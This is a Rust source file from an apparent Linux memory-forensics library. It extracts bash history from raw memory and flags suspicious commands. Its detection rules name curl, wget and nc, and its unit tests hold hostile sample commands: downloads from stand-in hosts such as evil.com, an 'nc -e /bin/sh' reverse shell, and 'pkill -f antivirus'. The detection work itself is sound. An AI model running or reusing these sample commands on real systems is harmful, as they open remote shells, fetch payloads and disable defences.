Skip to main content

memf_linux/
bash_history.rs

1//! Bash command history extraction from memory byte slices.
2//!
3//! For memory-forensic purposes we use string-extraction heuristics:
4//! scan for printable ASCII lines that look like shell commands.
5//! This is medium-agnostic — the caller provides raw bytes extracted from
6//! a process heap, a swap fragment, or a hibernation image.
7
8/// A single bash command history entry recovered from memory.
9#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
10pub struct BashHistoryEntry {
11    /// Process ID of the bash shell this entry was recovered from.
12    pub pid: u32,
13    /// Process command name (`task_struct.comm`, typically `"bash"`).
14    pub comm: String,
15    /// The shell command string.
16    pub command: String,
17    /// Ordinal position within the extracted history (0-based).
18    pub sequence: usize,
19}
20
21/// Extracts bash command history strings from a raw byte slice.
22///
23/// Bash stores history in the heap as a NULL-terminated array of `char*`
24/// pointers. For memory-forensic purposes we use string-extraction heuristics:
25/// scan for printable ASCII sequences of at least 3 characters separated by
26/// NUL bytes, then filter by shell-command heuristics.
27///
28/// Returns deduplicated lines in order of first appearance.
29pub fn extract_bash_history_from_bytes(bytes: &[u8]) -> Vec<String> {
30    let mut seen = std::collections::HashSet::new();
31    let mut result = Vec::new();
32
33    for chunk in bytes.split(|&b| b == 0) {
34        if chunk.len() < 3 {
35            continue;
36        }
37        // Only printable ASCII (0x20..=0x7E plus tab)
38        if !chunk
39            .iter()
40            .all(|&b| b == b'\t' || (0x20..=0x7E).contains(&b))
41        {
42            continue;
43        }
44        let s = match std::str::from_utf8(chunk) {
45            Ok(s) => s.to_string(),
46            Err(_) => continue,
47        };
48        if seen.insert(s.clone()) {
49            result.push(s);
50        }
51    }
52
53    result
54}
55
56/// Classify a bash command string for forensic significance.
57///
58/// Returns a `&'static str` category label when the command matches a known
59/// suspicious pattern, or `None` otherwise.
60///
61/// # Categories
62/// - `"file_deletion"` — `rm -rf`, `unlink`
63/// - `"network_download"` — `wget`, `curl`, `nc`, `ncat`
64/// - `"permission_change"` — `chmod +x`, `chmod 777`
65/// - `"rootkit_persistence"` — `ld.so.preload`, `ldpreload`
66/// - `"cryptomining"` — `xmrig`, `stratum`, `cryptonight`
67/// - `"staging_area"` — `/dev/shm`, `/run/shm`
68/// - `"process_termination"` — `kill -9`, `pkill`
69pub fn classify_bash_command(cmd: &str) -> Option<&'static str> {
70    // Check in specificity order so more-specific patterns win.
71    if cmd.contains("ld.so.preload")
72        || cmd.to_lowercase().contains("ldpreload")
73        || cmd.contains("LD_PRELOAD")
74    {
75        return Some("rootkit_persistence");
76    }
77    if cmd.contains("/dev/shm") || cmd.contains("/run/shm") {
78        return Some("staging_area");
79    }
80    if cmd.contains("rm -rf") || cmd.contains("unlink ") {
81        return Some("file_deletion");
82    }
83    // network_download before cryptomining: URLs may contain "xmrig" as a path segment
84    if cmd.contains("wget ")
85        || cmd.contains("curl ")
86        || cmd.starts_with("nc ")
87        || cmd.contains(" nc ")
88        || cmd.contains("ncat ")
89    {
90        return Some("network_download");
91    }
92    // cryptomining: match the binary name as the first token, or stratum/cryptonight anywhere
93    let first_token = cmd.split_whitespace().next().unwrap_or("");
94    if first_token == "xmrig"
95        || first_token.ends_with("/xmrig")
96        || first_token.ends_with("\\xmrig")
97        || cmd.contains("stratum")
98        || cmd.contains("cryptonight")
99    {
100        return Some("cryptomining");
101    }
102    if cmd.contains("chmod +x") || cmd.contains("chmod 777") {
103        return Some("permission_change");
104    }
105    if cmd.contains("kill -9") || cmd.contains("pkill ") || cmd.starts_with("pkill") {
106        return Some("process_termination");
107    }
108    None
109}
110
111#[cfg(test)]
112mod tests {
113    use super::*;
114
115    // --- extract_bash_history_from_bytes ---
116
117    #[test]
118    fn extract_nul_separated_commands() {
119        let input = b"ls -la\0rm -rf /tmp/kit\0";
120        let result = extract_bash_history_from_bytes(input);
121        assert!(
122            result.contains(&"ls -la".to_string()),
123            "must contain 'ls -la'"
124        );
125        assert!(
126            result.contains(&"rm -rf /tmp/kit".to_string()),
127            "must contain 'rm -rf /tmp/kit'"
128        );
129    }
130
131    #[test]
132    fn extract_deduplicates_repeated_commands() {
133        let input = b"pwd\0pwd\0whoami\0";
134        let result = extract_bash_history_from_bytes(input);
135        let pwd_count = result.iter().filter(|s| s.as_str() == "pwd").count();
136        assert_eq!(pwd_count, 1, "duplicate commands must be deduplicated");
137        assert!(result.contains(&"whoami".to_string()));
138    }
139
140    #[test]
141    fn extract_skips_very_short_strings() {
142        // Strings shorter than 3 chars should be filtered out
143        let input = b"ls\0pwd\0id\0";
144        let result = extract_bash_history_from_bytes(input);
145        // "ls" and "id" are 2 chars; only "pwd" (3 chars) passes the threshold
146        assert!(
147            !result.contains(&"ls".to_string()),
148            "'ls' is 2 chars, must be filtered"
149        );
150        assert!(
151            !result.contains(&"id".to_string()),
152            "'id' is 2 chars, must be filtered"
153        );
154        assert!(result.contains(&"pwd".to_string()));
155    }
156
157    #[test]
158    fn extract_empty_input_returns_empty() {
159        assert!(extract_bash_history_from_bytes(b"").is_empty());
160    }
161
162    #[test]
163    fn extract_preserves_order_of_appearance() {
164        let input = b"whoami\0cat /etc/passwd\0ls -la\0";
165        let result = extract_bash_history_from_bytes(input);
166        let whoami_pos = result.iter().position(|s| s == "whoami").unwrap();
167        let cat_pos = result.iter().position(|s| s == "cat /etc/passwd").unwrap();
168        let ls_pos = result.iter().position(|s| s == "ls -la").unwrap();
169        assert!(whoami_pos < cat_pos, "order must be preserved");
170        assert!(cat_pos < ls_pos, "order must be preserved");
171    }
172
173    // --- classify_bash_command ---
174
175    #[test]
176    fn classify_rm_rf_is_file_deletion() {
177        assert_eq!(
178            classify_bash_command("rm -rf /tmp/kit"),
179            Some("file_deletion")
180        );
181    }
182
183    #[test]
184    fn classify_unlink_is_file_deletion() {
185        assert_eq!(
186            classify_bash_command("unlink /tmp/evil"),
187            Some("file_deletion")
188        );
189    }
190
191    #[test]
192    fn classify_curl_is_network_download() {
193        assert_eq!(
194            classify_bash_command("curl http://evil.com/xmrig"),
195            Some("network_download")
196        );
197    }
198
199    #[test]
200    fn classify_wget_is_network_download() {
201        assert_eq!(
202            classify_bash_command("wget http://bad.com/payload"),
203            Some("network_download")
204        );
205    }
206
207    #[test]
208    fn classify_nc_is_network_download() {
209        assert_eq!(
210            classify_bash_command("nc -e /bin/sh 10.0.0.1 4444"),
211            Some("network_download")
212        );
213    }
214
215    #[test]
216    fn classify_echo_hello_is_none() {
217        assert_eq!(classify_bash_command("echo hello"), None);
218    }
219
220    #[test]
221    fn classify_ld_so_preload_is_rootkit_persistence() {
222        assert_eq!(
223            classify_bash_command("cat /etc/ld.so.preload"),
224            Some("rootkit_persistence")
225        );
226    }
227
228    #[test]
229    fn classify_ldpreload_env_is_rootkit_persistence() {
230        assert_eq!(
231            classify_bash_command("LD_PRELOAD=/tmp/evil.so ./target"),
232            Some("rootkit_persistence")
233        );
234    }
235
236    #[test]
237    fn classify_xmrig_is_cryptomining() {
238        assert_eq!(
239            classify_bash_command("xmrig --pool stratum+tcp://pool:3333"),
240            Some("cryptomining")
241        );
242    }
243
244    #[test]
245    fn classify_stratum_is_cryptomining() {
246        assert_eq!(
247            classify_bash_command("./miner stratum+tcp://pool.minexmr.com:443 -u user"),
248            Some("cryptomining")
249        );
250    }
251
252    #[test]
253    fn classify_dev_shm_is_staging_area() {
254        assert_eq!(
255            classify_bash_command("cp /tmp/kit /dev/shm/.hidden"),
256            Some("staging_area")
257        );
258    }
259
260    #[test]
261    fn classify_kill_9_is_process_termination() {
262        assert_eq!(
263            classify_bash_command("kill -9 1234"),
264            Some("process_termination")
265        );
266    }
267
268    #[test]
269    fn classify_pkill_is_process_termination() {
270        assert_eq!(
271            classify_bash_command("pkill -f antivirus"),
272            Some("process_termination")
273        );
274    }
275
276    #[test]
277    fn classify_chmod_x_is_permission_change() {
278        assert_eq!(
279            classify_bash_command("chmod +x /tmp/evil"),
280            Some("permission_change")
281        );
282    }
283
284    #[test]
285    fn classify_chmod_777_is_permission_change() {
286        assert_eq!(
287            classify_bash_command("chmod 777 /tmp/evil"),
288            Some("permission_change")
289        );
290    }
291
292    #[test]
293    fn classify_cryptonight_is_cryptomining() {
294        assert_eq!(
295            classify_bash_command("./cryptonight --threads 4"),
296            Some("cryptomining")
297        );
298    }
299}